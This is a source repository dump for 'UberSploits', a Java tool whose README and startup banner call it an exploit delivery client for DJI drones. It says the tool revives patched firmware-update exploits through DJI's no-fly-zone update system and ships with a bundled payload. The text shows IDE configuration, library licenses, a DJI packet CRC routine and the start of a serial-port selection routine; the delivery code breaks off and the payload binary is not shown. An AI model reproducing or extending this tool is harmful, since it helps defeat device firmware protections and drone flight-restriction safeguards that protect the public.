├── .gitignore
├── .idea
    ├── artifacts
    │   └── UberSploits_jar.xml
    ├── compiler.xml
    ├── copyright
    │   └── profiles_settings.xml
    ├── description.html
    ├── misc.xml
    ├── modules.xml
    └── project-template.xml
├── README.md
├── UberSploits.iml
├── libs
    ├── LICENSE-COMMONS-NET
    ├── LICENSE-jSerialComm
    ├── commons-net-3.6.jar
    └── jSerialComm-1.3.11.jar
└── src
    ├── META-INF
        └── MANIFEST.MF
    ├── com
        └── cunninglogic
        │   └── ubersploits
        │       ├── CRC.java
        │       └── Main.java
    └── resources
        └── payload.bin


/.gitignore:
--------------------------------------------------------------------------------
 1 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm
 2 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
 3 | 
 4 | # User-specific stuff:
 5 | .idea/**/workspace.xml
 6 | .idea/**/tasks.xml
 7 | .idea/dictionaries
 8 | 
 9 | # Sensitive or high-churn files:
10 | .idea/**/dataSources/
11 | .idea/**/dataSources.ids
12 | .idea/**/dataSources.xml
13 | .idea/**/dataSources.local.xml
14 | .idea/**/sqlDataSources.xml
15 | .idea/**/dynamic.xml
16 | .idea/**/uiDesigner.xml
17 | 
18 | # Gradle:
19 | .idea/**/gradle.xml
20 | .idea/**/libraries
21 | 
22 | # CMake
23 | cmake-build-debug/
24 | cmake-build-release/
25 | 
26 | # Mongo Explorer plugin:
27 | .idea/**/mongoSettings.xml
28 | 
29 | ## File-based project format:
30 | *.iws
31 | 
32 | ## Plugin-specific files:
33 | 
34 | # IntelliJ
35 | out/
36 | 
37 | # mpeltonen/sbt-idea plugin
38 | .idea_modules/
39 | 
40 | # JIRA plugin
41 | atlassian-ide-plugin.xml
42 | 
43 | # Cursive Clojure plugin
44 | .idea/replstate.xml
45 | 
46 | # Crashlytics plugin (for Android Studio and IntelliJ)
47 | com_crashlytics_export_strings.xml
48 | crashlytics.properties
49 | crashlytics-build.properties
50 | fabric.properties
51 | 


--------------------------------------------------------------------------------
/.idea/artifacts/UberSploits_jar.xml:
--------------------------------------------------------------------------------
 1 | <component name="ArtifactManager">
 2 |   <artifact type="jar" name="UberSploits:jar">
 3 |     <output-path>$PROJECT_DIR$/out/artifacts/UberSploits_jar</output-path>
 4 |     <root id="archive" name="UberSploits.jar">
 5 |       <element id="module-output" name="UberSploits" />
 6 |       <element id="extracted-dir" path="$PROJECT_DIR$/libs/commons-net-3.6.jar" path-in-jar="/" />
 7 |       <element id="extracted-dir" path="$PROJECT_DIR$/libs/jSerialComm-1.3.11.jar" path-in-jar="/" />
 8 |     </root>
 9 |   </artifact>
10 | </component>


--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project version="4">
 3 |   <component name="CompilerConfiguration">
 4 |     <resourceExtensions />
 5 |     <wildcardResourcePatterns>
 6 |       <entry name="!?*.java" />
 7 |       <entry name="!?*.form" />
 8 |       <entry name="!?*.class" />
 9 |       <entry name="!?*.groovy" />
10 |       <entry name="!?*.scala" />
11 |       <entry name="!?*.flex" />
12 |       <entry name="!?*.kt" />
13 |       <entry name="!?*.clj" />
14 |       <entry name="!?*.aj" />
15 |     </wildcardResourcePatterns>
16 |     <annotationProcessing>
17 |       <profile default="true" name="Default" enabled="false">
18 |         <processorPath useClasspath="true" />
19 |       </profile>
20 |     </annotationProcessing>
21 |   </component>
22 | </project>


--------------------------------------------------------------------------------
/.idea/copyright/profiles_settings.xml:
--------------------------------------------------------------------------------
1 | <component name="CopyrightManager">
2 |   <settings default="" />
3 | </component>


--------------------------------------------------------------------------------
/.idea/description.html:
--------------------------------------------------------------------------------
1 | <html>Simple <b>Java</b> application that includes a class with <code>main()</code> method</html>


--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project version="4">
 3 |   <component name="EntryPointsManager">
 4 |     <entry_points version="2.0" />
 5 |   </component>
 6 |   <component name="ProjectKey">
 7 |     <option name="state" value="project://e2804f05-5315-4fc6-a121-c522a6c26470" />
 8 |   </component>
 9 |   <component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" assert-keyword="true" jdk-15="true" project-jdk-name="1.8" project-jdk-type="JavaSDK">
10 |     <output url="file://$PROJECT_DIR$/out" />
11 |   </component>
12 | </project>


--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="UTF-8"?>
2 | <project version="4">
3 |   <component name="ProjectModuleManager">
4 |     <modules>
5 |       <module fileurl="file://$PROJECT_DIR$/UberSploits.iml" filepath="$PROJECT_DIR$/UberSploits.iml" />
6 |     </modules>
7 |   </component>
8 | </project>


--------------------------------------------------------------------------------
/.idea/project-template.xml:
--------------------------------------------------------------------------------
1 | <template>
2 |   <input-field default="com.company">IJ_BASE_PACKAGE</input-field>
3 | </template>


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | This software may not be included within  any other packages/software or automatically fetched as part of another set of software or scripts. You are free to link directly to this repo.
 2 | 
 3 | Are you tired of not seeing new DJI exploits, research or worthwhile tools? It is because the hardwork of people actually capable of producing new work just gets repacked into script kiddie packs like SuperPatcher. Support the OGs, not the cheap clones.
 4 | 
 5 | Hardware Fund -- > paypal jcase@cunninglogic.com
 6 | 
 7 | 
 8 | UberSploits is a payload delivery client for DJI's NFZ update system.
 9 | 
10 | DJI thought they were cute and patched the firmware update system. Effectively killing Tar and Feather, DontForget and DUMLRacer. UberSploits brings all those bugs back to life.
11 | 
12 | cheers jcase
13 | 


--------------------------------------------------------------------------------
/UberSploits.iml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <module type="JAVA_MODULE" version="4">
 3 |   <component name="NewModuleRootManager" inherit-compiler-output="true">
 4 |     <exclude-output />
 5 |     <content url="file://$MODULE_DIR$">
 6 |       <sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
 7 |     </content>
 8 |     <orderEntry type="inheritedJdk" />
 9 |     <orderEntry type="sourceFolder" forTests="false" />
10 |     <orderEntry type="module-library">
11 |       <library>
12 |         <CLASSES>
13 |           <root url="file://$MODULE_DIR$/libs" />
14 |         </CLASSES>
15 |         <JAVADOC />
16 |         <SOURCES />
17 |         <jarDirectory url="file://$MODULE_DIR$/libs" recursive="false" />
18 |       </library>
19 |     </orderEntry>
20 |   </component>
21 | </module>


--------------------------------------------------------------------------------
/libs/LICENSE-COMMONS-NET:
--------------------------------------------------------------------------------
  1 | 
  2 |                                  Apache License
  3 |                            Version 2.0, January 2004
  4 |                         http://www.apache.org/licenses/
  5 | 
  6 |    TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
  7 | 
  8 |    1. Definitions.
  9 | 
 10 |       "License" shall mean the terms and conditions for use, reproduction,
 11 |       and distribution as defined by Sections 1 through 9 of this document.
 12 | 
 13 |       "Licensor" shall mean the copyright owner or entity authorized by
 14 |       the copyright owner that is granting the License.
 15 | 
 16 |       "Legal Entity" shall mean the union of the acting entity and all
 17 |       other entities that control, are controlled by, or are under common
 18 |       control with that entity. For the purposes of this definition,
 19 |       "control" means (i) the power, direct or indirect, to cause the
 20 |       direction or management of such entity, whether by contract or
 21 |       otherwise, or (ii) ownership of fifty percent (50%) or more of the
 22 |       outstanding shares, or (iii) beneficial ownership of such entity.
 23 | 
 24 |       "You" (or "Your") shall mean an individual or Legal Entity
 25 |       exercising permissions granted by this License.
 26 | 
 27 |       "Source" form shall mean the preferred form for making modifications,
 28 |       including but not limited to software source code, documentation
 29 |       source, and configuration files.
 30 | 
 31 |       "Object" form shall mean any form resulting from mechanical
 32 |       transformation or translation of a Source form, including but
 33 |       not limited to compiled object code, generated documentation,
 34 |       and conversions to other media types.
 35 | 
 36 |       "Work" shall mean the work of authorship, whether in Source or
 37 |       Object form, made available under the License, as indicated by a
 38 |       copyright notice that is included in or attached to the work
 39 |       (an example is provided in the Appendix below).
 40 | 
 41 |       "Derivative Works" shall mean any work, whether in Source or Object
 42 |       form, that is based on (or derived from) the Work and for which the
 43 |       editorial revisions, annotations, elaborations, or other modifications
 44 |       represent, as a whole, an original work of authorship. For the purposes
 45 |       of this License, Derivative Works shall not include works that remain
 46 |       separable from, or merely link (or bind by name) to the interfaces of,
 47 |       the Work and Derivative Works thereof.
 48 | 
 49 |       "Contribution" shall mean any work of authorship, including
 50 |       the original version of the Work and any modifications or additions
 51 |       to that Work or Derivative Works thereof, that is intentionally
 52 |       submitted to Licensor for inclusion in the Work by the copyright owner
 53 |       or by an individual or Legal Entity authorized to submit on behalf of
 54 |       the copyright owner. For the purposes of this definition, "submitted"
 55 |       means any form of electronic, verbal, or written communication sent
 56 |       to the Licensor or its representatives, including but not limited to
 57 |       communication on electronic mailing lists, source code control systems,
 58 |       and issue tracking systems that are managed by, or on behalf of, the
 59 |       Licensor for the purpose of discussing and improving the Work, but
 60 |       excluding communication that is conspicuously marked or otherwise
 61 |       designated in writing by the copyright owner as "Not a Contribution."
 62 | 
 63 |       "Contributor" shall mean Licensor and any individual or Legal Entity
 64 |       on behalf of whom a Contribution has been received by Licensor and
 65 |       subsequently incorporated within the Work.
 66 | 
 67 |    2. Grant of Copyright License. Subject to the terms and conditions of
 68 |       this License, each Contributor hereby grants to You a perpetual,
 69 |       worldwide, non-exclusive, no-charge, royalty-free, irrevocable
 70 |       copyright license to reproduce, prepare Derivative Works of,
 71 |       publicly display, publicly perform, sublicense, and distribute the
 72 |       Work and such Derivative Works in Source or Object form.
 73 | 
 74 |    3. Grant of Patent License. Subject to the terms and conditions of
 75 |       this License, each Contributor hereby grants to You a perpetual,
 76 |       worldwide, non-exclusive, no-charge, royalty-free, irrevocable
 77 |       (except as stated in this section) patent license to make, have made,
 78 |       use, offer to sell, sell, import, and otherwise transfer the Work,
 79 |       where such license applies only to those patent claims licensable
 80 |       by such Contributor that are necessarily infringed by their
 81 |       Contribution(s) alone or by combination of their Contribution(s)
 82 |       with the Work to which such Contribution(s) was submitted. If You
 83 |       institute patent litigation against any entity (including a
 84 |       cross-claim or counterclaim in a lawsuit) alleging that the Work
 85 |       or a Contribution incorporated within the Work constitutes direct
 86 |       or contributory patent infringement, then any patent licenses
 87 |       granted to You under this License for that Work shall terminate
 88 |       as of the date such litigation is filed.
 89 | 
 90 |    4. Redistribution. You may reproduce and distribute copies of the
 91 |       Work or Derivative Works thereof in any medium, with or without
 92 |       modifications, and in Source or Object form, provided that You
 93 |       meet the following conditions:
 94 | 
 95 |       (a) You must give any other recipients of the Work or
 96 |           Derivative Works a copy of this License; and
 97 | 
 98 |       (b) You must cause any modified files to carry prominent notices
 99 |           stating that You changed the files; and
100 | 
101 |       (c) You must retain, in the Source form of any Derivative Works
102 |           that You distribute, all copyright, patent, trademark, and
103 |           attribution notices from the Source form of the Work,
104 |           excluding those notices that do not pertain to any part of
105 |           the Derivative Works; and
106 | 
107 |       (d) If the Work includes a "NOTICE" text file as part of its
108 |           distribution, then any Derivative Works that You distribute must
109 |           include a readable copy of the attribution notices contained
110 |           within such NOTICE file, excluding those notices that do not
111 |           pertain to any part of the Derivative Works, in at least one
112 |           of the following places: within a NOTICE text file distributed
113 |           as part of the Derivative Works; within the Source form or
114 |           documentation, if provided along with the Derivative Works; or,
115 |           within a display generated by the Derivative Works, if and
116 |           wherever such third-party notices normally appear. The contents
117 |           of the NOTICE file are for informational purposes only and
118 |           do not modify the License. You may add Your own attribution
119 |           notices within Derivative Works that You distribute, alongside
120 |           or as an addendum to the NOTICE text from the Work, provided
121 |           that such additional attribution notices cannot be construed
122 |           as modifying the License.
123 | 
124 |       You may add Your own copyright statement to Your modifications and
125 |       may provide additional or different license terms and conditions
126 |       for use, reproduction, or distribution of Your modifications, or
127 |       for any such Derivative Works as a whole, provided Your use,
128 |       reproduction, and distribution of the Work otherwise complies with
129 |       the conditions stated in this License.
130 | 
131 |    5. Submission of Contributions. Unless You explicitly state otherwise,
132 |       any Contribution intentionally submitted for inclusion in the Work
133 |       by You to the Licensor shall be under the terms and conditions of
134 |       this License, without any additional terms or conditions.
135 |       Notwithstanding the above, nothing herein shall supersede or modify
136 |       the terms of any separate license agreement you may have executed
137 |       with Licensor regarding such Contributions.
138 | 
139 |    6. Trademarks. This License does not grant permission to use the trade
140 |       names, trademarks, service marks, or product names of the Licensor,
141 |       except as required for reasonable and customary use in describing the
142 |       origin of the Work and reproducing the content of the NOTICE file.
143 | 
144 |    7. Disclaimer of Warranty. Unless required by applicable law or
145 |       agreed to in writing, Licensor provides the Work (and each
146 |       Contributor provides its Contributions) on an "AS IS" BASIS,
147 |       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148 |       implied, including, without limitation, any warranties or conditions
149 |       of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150 |       PARTICULAR PURPOSE. You are solely responsible for determining the
151 |       appropriateness of using or redistributing the Work and assume any
152 |       risks associated with Your exercise of permissions under this License.
153 | 
154 |    8. Limitation of Liability. In no event and under no legal theory,
155 |       whether in tort (including negligence), contract, or otherwise,
156 |       unless required by applicable law (such as deliberate and grossly
157 |       negligent acts) or agreed to in writing, shall any Contributor be
158 |       liable to You for damages, including any direct, indirect, special,
159 |       incidental, or consequential damages of any character arising as a
160 |       result of this License or out of the use or inability to use the
161 |       Work (including but not limited to damages for loss of goodwill,
162 |       work stoppage, computer failure or malfunction, or any and all
163 |       other commercial damages or losses), even if such Contributor
164 |       has been advised of the possibility of such damages.
165 | 
166 |    9. Accepting Warranty or Additional Liability. While redistributing
167 |       the Work or Derivative Works thereof, You may choose to offer,
168 |       and charge a fee for, acceptance of support, warranty, indemnity,
169 |       or other liability obligations and/or rights consistent with this
170 |       License. However, in accepting such obligations, You may act only
171 |       on Your own behalf and on Your sole responsibility, not on behalf
172 |       of any other Contributor, and only if You agree to indemnify,
173 |       defend, and hold each Contributor harmless for any liability
174 |       incurred by, or claims asserted against, such Contributor by reason
175 |       of your accepting any such warranty or additional liability.
176 | 
177 |    END OF TERMS AND CONDITIONS
178 | 
179 |    APPENDIX: How to apply the Apache License to your work.
180 | 
181 |       To apply the Apache License to your work, attach the following
182 |       boilerplate notice, with the fields enclosed by brackets "[]"
183 |       replaced with your own identifying information. (Don't include
184 |       the brackets!)  The text should be enclosed in the appropriate
185 |       comment syntax for the file format. We also recommend that a
186 |       file or class name and description of purpose be included on the
187 |       same "printed page" as the copyright notice for easier
188 |       identification within third-party archives.
189 | 
190 |    Copyright [yyyy] [name of copyright owner]
191 | 
192 |    Licensed under the Apache License, Version 2.0 (the "License");
193 |    you may not use this file except in compliance with the License.
194 |    You may obtain a copy of the License at
195 | 
196 |        http://www.apache.org/licenses/LICENSE-2.0
197 | 
198 |    Unless required by applicable law or agreed to in writing, software
199 |    distributed under the License is distributed on an "AS IS" BASIS,
200 |    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
201 |    See the License for the specific language governing permissions and
202 |    limitations under the License.
203 | 


--------------------------------------------------------------------------------
/libs/LICENSE-jSerialComm:
--------------------------------------------------------------------------------
  1 |                    GNU LESSER GENERAL PUBLIC LICENSE
  2 |                        Version 3, 29 June 2007
  3 | 
  4 |  Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
  5 |  Everyone is permitted to copy and distribute verbatim copies
  6 |  of this license document, but changing it is not allowed.
  7 | 
  8 | 
  9 |   This version of the GNU Lesser General Public License incorporates
 10 | the terms and conditions of version 3 of the GNU General Public
 11 | License, supplemented by the additional permissions listed below.
 12 | 
 13 |   0. Additional Definitions.
 14 | 
 15 |   As used herein, "this License" refers to version 3 of the GNU Lesser
 16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU
 17 | General Public License.
 18 | 
 19 |   "The Library" refers to a covered work governed by this License,
 20 | other than an Application or a Combined Work as defined below.
 21 | 
 22 |   An "Application" is any work that makes use of an interface provided
 23 | by the Library, but which is not otherwise based on the Library.
 24 | Defining a subclass of a class defined by the Library is deemed a mode
 25 | of using an interface provided by the Library.
 26 | 
 27 |   A "Combined Work" is a work produced by combining or linking an
 28 | Application with the Library.  The particular version of the Library
 29 | with which the Combined Work was made is also called the "Linked
 30 | Version".
 31 | 
 32 |   The "Minimal Corresponding Source" for a Combined Work means the
 33 | Corresponding Source for the Combined Work, excluding any source code
 34 | for portions of the Combined Work that, considered in isolation, are
 35 | based on the Application, and not on the Linked Version.
 36 | 
 37 |   The "Corresponding Application Code" for a Combined Work means the
 38 | object code and/or source code for the Application, including any data
 39 | and utility programs needed for reproducing the Combined Work from the
 40 | Application, but excluding the System Libraries of the Combined Work.
 41 | 
 42 |   1. Exception to Section 3 of the GNU GPL.
 43 | 
 44 |   You may convey a covered work under sections 3 and 4 of this License
 45 | without being bound by section 3 of the GNU GPL.
 46 | 
 47 |   2. Conveying Modified Versions.
 48 | 
 49 |   If you modify a copy of the Library, and, in your modifications, a
 50 | facility refers to a function or data to be supplied by an Application
 51 | that uses the facility (other than as an argument passed when the
 52 | facility is invoked), then you may convey a copy of the modified
 53 | version:
 54 | 
 55 |    a) under this License, provided that you make a good faith effort to
 56 |    ensure that, in the event an Application does not supply the
 57 |    function or data, the facility still operates, and performs
 58 |    whatever part of its purpose remains meaningful, or
 59 | 
 60 |    b) under the GNU GPL, with none of the additional permissions of
 61 |    this License applicable to that copy.
 62 | 
 63 |   3. Object Code Incorporating Material from Library Header Files.
 64 | 
 65 |   The object code form of an Application may incorporate material from
 66 | a header file that is part of the Library.  You may convey such object
 67 | code under terms of your choice, provided that, if the incorporated
 68 | material is not limited to numerical parameters, data structure
 69 | layouts and accessors, or small macros, inline functions and templates
 70 | (ten or fewer lines in length), you do both of the following:
 71 | 
 72 |    a) Give prominent notice with each copy of the object code that the
 73 |    Library is used in it and that the Library and its use are
 74 |    covered by this License.
 75 | 
 76 |    b) Accompany the object code with a copy of the GNU GPL and this license
 77 |    document.
 78 | 
 79 |   4. Combined Works.
 80 | 
 81 |   You may convey a Combined Work under terms of your choice that,
 82 | taken together, effectively do not restrict modification of the
 83 | portions of the Library contained in the Combined Work and reverse
 84 | engineering for debugging such modifications, if you also do each of
 85 | the following:
 86 | 
 87 |    a) Give prominent notice with each copy of the Combined Work that
 88 |    the Library is used in it and that the Library and its use are
 89 |    covered by this License.
 90 | 
 91 |    b) Accompany the Combined Work with a copy of the GNU GPL and this license
 92 |    document.
 93 | 
 94 |    c) For a Combined Work that displays copyright notices during
 95 |    execution, include the copyright notice for the Library among
 96 |    these notices, as well as a reference directing the user to the
 97 |    copies of the GNU GPL and this license document.
 98 | 
 99 |    d) Do one of the following:
100 | 
101 |        0) Convey the Minimal Corresponding Source under the terms of this
102 |        License, and the Corresponding Application Code in a form
103 |        suitable for, and under terms that permit, the user to
104 |        recombine or relink the Application with a modified version of
105 |        the Linked Version to produce a modified Combined Work, in the
106 |        manner specified by section 6 of the GNU GPL for conveying
107 |        Corresponding Source.
108 | 
109 |        1) Use a suitable shared library mechanism for linking with the
110 |        Library.  A suitable mechanism is one that (a) uses at run time
111 |        a copy of the Library already present on the user's computer
112 |        system, and (b) will operate properly with a modified version
113 |        of the Library that is interface-compatible with the Linked
114 |        Version.
115 | 
116 |    e) Provide Installation Information, but only if you would otherwise
117 |    be required to provide such information under section 6 of the
118 |    GNU GPL, and only to the extent that such information is
119 |    necessary to install and execute a modified version of the
120 |    Combined Work produced by recombining or relinking the
121 |    Application with a modified version of the Linked Version. (If
122 |    you use option 4d0, the Installation Information must accompany
123 |    the Minimal Corresponding Source and Corresponding Application
124 |    Code. If you use option 4d1, you must provide the Installation
125 |    Information in the manner specified by section 6 of the GNU GPL
126 |    for conveying Corresponding Source.)
127 | 
128 |   5. Combined Libraries.
129 | 
130 |   You may place library facilities that are a work based on the
131 | Library side by side in a single library together with other library
132 | facilities that are not Applications and are not covered by this
133 | License, and convey such a combined library under terms of your
134 | choice, if you do both of the following:
135 | 
136 |    a) Accompany the combined library with a copy of the same work based
137 |    on the Library, uncombined with any other library facilities,
138 |    conveyed under the terms of this License.
139 | 
140 |    b) Give prominent notice with the combined library that part of it
141 |    is a work based on the Library, and explaining where to find the
142 |    accompanying uncombined form of the same work.
143 | 
144 |   6. Revised Versions of the GNU Lesser General Public License.
145 | 
146 |   The Free Software Foundation may publish revised and/or new versions
147 | of the GNU Lesser General Public License from time to time. Such new
148 | versions will be similar in spirit to the present version, but may
149 | differ in detail to address new problems or concerns.
150 | 
151 |   Each version is given a distinguishing version number. If the
152 | Library as you received it specifies that a certain numbered version
153 | of the GNU Lesser General Public License "or any later version"
154 | applies to it, you have the option of following the terms and
155 | conditions either of that published version or of any later version
156 | published by the Free Software Foundation. If the Library as you
157 | received it does not specify a version number of the GNU Lesser
158 | General Public License, you may choose any version of the GNU Lesser
159 | General Public License ever published by the Free Software Foundation.
160 | 
161 |   If the Library as you received it specifies that a proxy can decide
162 | whether future versions of the GNU Lesser General Public License shall
163 | apply, that proxy's public statement of acceptance of any version is
164 | permanent authorization for you to choose that version for the
165 | Library.
166 | 


--------------------------------------------------------------------------------
/libs/commons-net-3.6.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CunningLogic/UberSploits/b21a41462581792f770f02ddc2f3936c7649a855/libs/commons-net-3.6.jar


--------------------------------------------------------------------------------
/libs/jSerialComm-1.3.11.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CunningLogic/UberSploits/b21a41462581792f770f02ddc2f3936c7649a855/libs/jSerialComm-1.3.11.jar


--------------------------------------------------------------------------------
/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: com.cunninglogic.ubersploits.Main
3 | 
4 | 


--------------------------------------------------------------------------------
/src/com/cunninglogic/ubersploits/CRC.java:
--------------------------------------------------------------------------------
 1 | package com.cunninglogic.ubersploits;
 2 | 
 3 | import java.nio.ByteBuffer;
 4 | 
 5 | /**
 6 |  * Created by jcase on 7/5/18.
 7 |  */
 8 | public class CRC {  private static int seed = 0x3692;
 9 |     private static int[] crc = {
10 |             0x0000, 0x1189, 0x2312, 0x329B, 0x4624, 0x57AD, 0x6536, 0x74BF,
11 |             0x8C48, 0x9DC1, 0xAF5A, 0xBED3, 0xCA6C, 0xDBE5, 0xE97E, 0xF8F7,
12 |             0x1081, 0x0108, 0x3393, 0x221A, 0x56A5, 0x472C, 0x75B7, 0x643E,
13 |             0x9CC9, 0x8D40, 0xBFDB, 0xAE52, 0xDAED, 0xCB64, 0xF9FF, 0xE876,
14 |             0x2102, 0x308B, 0x0210, 0x1399, 0x6726, 0x76AF, 0x4434, 0x55BD,
15 |             0xAD4A, 0xBCC3, 0x8E58, 0x9FD1, 0xEB6E, 0xFAE7, 0xC87C, 0xD9F5,
16 |             0x3183, 0x200A, 0x1291, 0x0318, 0x77A7, 0x662E, 0x54B5, 0x453C,
17 |             0xBDCB, 0xAC42, 0x9ED9, 0x8F50, 0xFBEF, 0xEA66, 0xD8FD, 0xC974,
18 |             0x4204, 0x538D, 0x6116, 0x709F, 0x0420, 0x15A9, 0x2732, 0x36BB,
19 |             0xCE4C, 0xDFC5, 0xED5E, 0xFCD7, 0x8868, 0x99E1, 0xAB7A, 0xBAF3,
20 |             0x5285, 0x430C, 0x7197, 0x601E, 0x14A1, 0x0528, 0x37B3, 0x263A,
21 |             0xDECD, 0xCF44, 0xFDDF, 0xEC56, 0x98E9, 0x8960, 0xBBFB, 0xAA72,
22 |             0x6306, 0x728F, 0x4014, 0x519D, 0x2522, 0x34AB, 0x0630, 0x17B9,
23 |             0xEF4E, 0xFEC7, 0xCC5C, 0xDDD5, 0xA96A, 0xB8E3, 0x8A78, 0x9BF1,
24 |             0x7387, 0x620E, 0x5095, 0x411C, 0x35A3, 0x242A, 0x16B1, 0x0738,
25 |             0xFFCF, 0xEE46, 0xDCDD, 0xCD54, 0xB9EB, 0xA862, 0x9AF9, 0x8B70,
26 |             0x8408, 0x9581, 0xA71A, 0xB693, 0xC22C, 0xD3A5, 0xE13E, 0xF0B7,
27 |             0x0840, 0x19C9, 0x2B52, 0x3ADB, 0x4E64, 0x5FED, 0x6D76, 0x7CFF,
28 |             0x9489, 0x8500, 0xB79B, 0xA612, 0xD2AD, 0xC324, 0xF1BF, 0xE036,
29 |             0x18C1, 0x0948, 0x3BD3, 0x2A5A, 0x5EE5, 0x4F6C, 0x7DF7, 0x6C7E,
30 |             0xA50A, 0xB483, 0x8618, 0x9791, 0xE32E, 0xF2A7, 0xC03C, 0xD1B5,
31 |             0x2942, 0x38CB, 0x0A50, 0x1BD9, 0x6F66, 0x7EEF, 0x4C74, 0x5DFD,
32 |             0xB58B, 0xA402, 0x9699, 0x8710, 0xF3AF, 0xE226, 0xD0BD, 0xC134,
33 |             0x39C3, 0x284A, 0x1AD1, 0x0B58, 0x7FE7, 0x6E6E, 0x5CF5, 0x4D7C,
34 |             0xC60C, 0xD785, 0xE51E, 0xF497, 0x8028, 0x91A1, 0xA33A, 0xB2B3,
35 |             0x4A44, 0x5BCD, 0x6956, 0x78DF, 0x0C60, 0x1DE9, 0x2F72, 0x3EFB,
36 |             0xD68D, 0xC704, 0xF59F, 0xE416, 0x90A9, 0x8120, 0xB3BB, 0xA232,
37 |             0x5AC5, 0x4B4C, 0x79D7, 0x685E, 0x1CE1, 0x0D68, 0x3FF3, 0x2E7A,
38 |             0xE70E, 0xF687, 0xC41C, 0xD595, 0xA12A, 0xB0A3, 0x8238, 0x93B1,
39 |             0x6B46, 0x7ACF, 0x4854, 0x59DD, 0x2D62, 0x3CEB, 0x0E70, 0x1FF9,
40 |             0xF78F, 0xE606, 0xD49D, 0xC514, 0xB1AB, 0xA022, 0x92B9, 0x8330,
41 |             0x7BC7, 0x6A4E, 0x58D5, 0x495C, 0x3DE3, 0x2C6A, 0x1EF1, 0x0F78,
42 |     };
43 | 
44 |     public static int calc (byte[] packet) {
45 |         int j = seed;
46 |         int len = packet.length;
47 |         for (int i = 0; i < len; i++) {
48 |             j = (j >> 8) ^ crc[(j ^ packet[i]) & 0xFF];
49 |         }
50 | 
51 |         return j;
52 |     }
53 | 
54 |     public static byte[] pktCRC(byte[] packet) {
55 |         byte[] newPkt = new byte[packet.length + 2];
56 |         byte[] crc = ByteBuffer.allocate(2).putShort((short)CRC.calc(packet)).array();
57 | 
58 |         newPkt[newPkt.length -2] = crc[1];
59 |         newPkt[newPkt.length -1] = crc[0];
60 | 
61 |         System.arraycopy(packet,0,newPkt,0,packet.length);
62 |         return newPkt;
63 |     }
64 | }
65 | 


--------------------------------------------------------------------------------
/src/com/cunninglogic/ubersploits/Main.java:
--------------------------------------------------------------------------------
  1 | package com.cunninglogic.ubersploits;
  2 | 
  3 | import com.fazecast.jSerialComm.SerialPort;
  4 | import org.apache.commons.net.ftp.FTPClient;
  5 | 
  6 | import java.io.*;
  7 | import java.nio.ByteBuffer;
  8 | import java.security.MessageDigest;
  9 | import java.security.NoSuchAlgorithmException;
 10 | 
 11 | public class Main {
 12 |     private static SerialPort activePort;
 13 | 
 14 |     private static ClassLoader classLoader;
 15 | 
 16 |     private static FTPClient ftpClient;
 17 | 
 18 |     public static void main(String[] args) {
 19 |         System.out.println("UberSploits v0.1 by jcase");
 20 | 	    System.out.println("Please see licensing details for the libraries we use inside the libs directory.\n");
 21 | 
 22 |         System.out.println("UberSploits is an exploit delivery tool for DJI, it effectively brings back to life a bunch" +
 23 |                 " of exploits they patched. I mean we didn't even a new vuln lol. Racer, T&F, DontForget all still work.\n");
 24 | 
 25 |         System.out.println("This build comes packed with Tar & Feather from jan2642 and hostile. Much thanks to hdnes, Dan " +
 26 |                 "and jezzab for letting me bounce ideas off of them. I can't believe all this still works.\n");
 27 | 
 28 | 
 29 |         System.out.println("All donations go to support local charities (local to me, jcase).");
 30 |         System.out.println("PayPal Donations - > jcase@cunninglogic.com");
 31 |         System.out.println("Bitcoin Donations - > 1LrunXwPpknbgVYcBJyDk6eanxTBYnyRKN");
 32 |         System.out.println("Bitcoin Cash Donations - > 1LrunXwPpknbgVYcBJyDk6eanxTBYnyRKN");
 33 |         System.out.println("Amazon giftcards, plain thank yous or anything else -> jcase@cunninglogic.com");
 34 | 
 35 |         classLoader = Main.class.getClassLoader();
 36 | 
 37 |         int count = 1;
 38 | 
 39 |         System.out.println("Choose target port: (* suggested port)");
 40 |         for (SerialPort s : SerialPort.getCommPorts()) {
 41 |             if (s.getDescriptivePortName().contains("DJI")) {
 42 |                 System.out.print("*");
 43 |             }
 44 | 
 45 |             System.out.println("\t[" + count + "] " + s.getSystemPortName() + " : " + s.getDescriptivePortName());
 46 |             count++;
 47 |         }
 48 | 
 49 |         System.out.println("\t[E] Exit");
 50 | 
 51 |         String str = "";
 52 |         BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
 53 |         System.out.print("Choose port: ");
 54 |         while (true) {
 55 |             try {
 56 |                 str = br.readLine();
 57 |             } catch (IOException e) {
 58 |                 e.printStackTrace();
 59 |             }
 60 |             try {
 61 | 
 62 |                 if (str.toLowerCase().toLowerCase().equals("e")) {
 63 |                     System.out.println("Exiting");
 64 |                     System.exit(0);
 65 |                 }
 66 | 
 67 | 
 68 |                 int port = Integer.parseInt(str.trim());
 69 | 
 70 |                 if ((port > count) || (port < 1)) {
 71 |                     System.out.println("[!] Invalid port selection");
 72 |                     System.out.print("Choose port: ");
 73 |                 } else {
 74 |                     activePort = SerialPort.getCommPorts()[port - 1];
 75 |                     System.out.println("Using Port: " + activePort.getSystemPortName());
 76 |                     break;
 77 |                 }
